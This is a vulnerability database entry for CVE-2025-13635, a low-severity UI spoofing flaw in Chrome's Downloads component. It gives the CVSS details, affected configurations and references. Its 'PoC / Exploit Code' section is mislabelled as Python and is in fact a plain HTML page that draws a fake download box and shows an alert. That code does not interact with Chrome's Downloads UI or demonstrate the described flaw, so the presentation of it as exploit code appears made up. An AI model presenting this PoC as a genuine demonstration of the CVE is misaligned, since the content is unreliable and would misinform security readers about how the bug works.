CVE-2025-13635

Description

Inappropriate implementation in Downloads in Google Chrome prior to 143.0.7499.41 allowed a local attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 143.0.7499.41

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13635 UI Spoofing PoC -->
<!-- This PoC demonstrates UI spoofing in Google Chrome Downloads component -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13635 Downloads UI Spoofing Test</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .malicious-ui { 
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: 2px solid #333;
            border-radius: 8px;
            padding: 15px;
            margin: 10px 0;
            color: white;
            box-shadow: 0 4px 6px rgba(0,0,0,0.3);
        }
        .fake-button {
            background: #ff4444;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            font-weight: bold;
        }
        .fake-button:hover { background: #ff6666; }
        #spoofedDownload {
            position: relative;
            width: 300px;
        }
        #spoofedDownload::after {
            content: 'MALICIOUS FILE - DO NOT OPEN';
            position: absolute;
            top: -10px;
            right: -10px;
            background: red;
            color: white;
            padding: 2px 5px;
            font-size: 10px;
            border-radius: 3px;
        }
    </style>
</head>
<body>
    <h1>CVE-2025-13635 UI Spoofing PoC</h1>
    <p><strong>Affected:</strong> Google Chrome < 143.0.7499.41</p>
    <p><strong>Severity:</strong> Low (CVSS 4.4)</p>
    <p><strong>Component:</strong> Downloads</p>
    
    <div class="malicious-ui">
        <h3>⚠️ SPOOFED DOWNLOAD INTERFACE</h3>
        <p>This demonstrates how an attacker can create fake download UI elements:</p>
        <div id="spoofedDownload">
            <p><strong>File:</strong> system_update.exe</p>
            <p><strong>Size:</strong> 1.2 GB</p>
            <p><strong>Status:</strong> ✓ Complete</p>
        </div>
        <button class="fake-button" onclick="maliciousAction()">
            ▶️ Open File
        </button>
        <p style="font-size:12px; margin-top:10px;">
            Note: This is a demonstration of UI spoofing technique.
            The fake UI can trick users into clicking malicious buttons.
        </p>
    </div>

    <div style="margin-top: 20px; padding: 10px; background: #f0f0f0; border-radius: 5px;">
        <h4>Technical Details:</h4>
        <ul>
            <li>Attack Vector: Local (AV:L)</li>
            <li>User Interaction Required: Yes (UI:R)</li>
            <li>Privilege Required: None (PR:N)</li>
            <li>Confidentiality Impact: Low (C:L)</li>
            <li>Integrity Impact: None (I:N)</li>
            <li>Availability Impact: Low (A:L)</li>
        </ul>
    </div>

    <script>
        // Simulate Downloads UI manipulation
        function spoofDownloadsUI() {
            console.log('Attempting to spoof Downloads UI...');
            
            // Create spoofed download item
            const spoofedItem = {
                id: 'malicious-download-' + Date.now(),
                filename: 'system_update.exe',
                fileSize: '1.2 GB',
                url: 'malicious://payload.exe',
                state: 'complete',
                dangerReason: 'malicious'
            };
            
            // Display spoofed information
            console.log('Spoofed download created:', spoofedItem);
            document.getElementById('spoofedDownload').style.display = 'block';
        }
        
        function maliciousAction() {
            alert('CVE-2025-13635: This button could execute malicious code!\n\nIn a real attack, this would:\n1. Download malware\n2. Execute arbitrary code\n3. Exfiltrate data');
        }
        
        // Initialize on page load
        window.onload = function() {
            console.log('CVE-2025-13635 PoC loaded');
            spoofDownloadsUI();
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13635
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13635
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13635/
[4] VulDB https://vuldb.com/cve/CVE-2025-13635
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/405727341

Raw JSON Data

JSON

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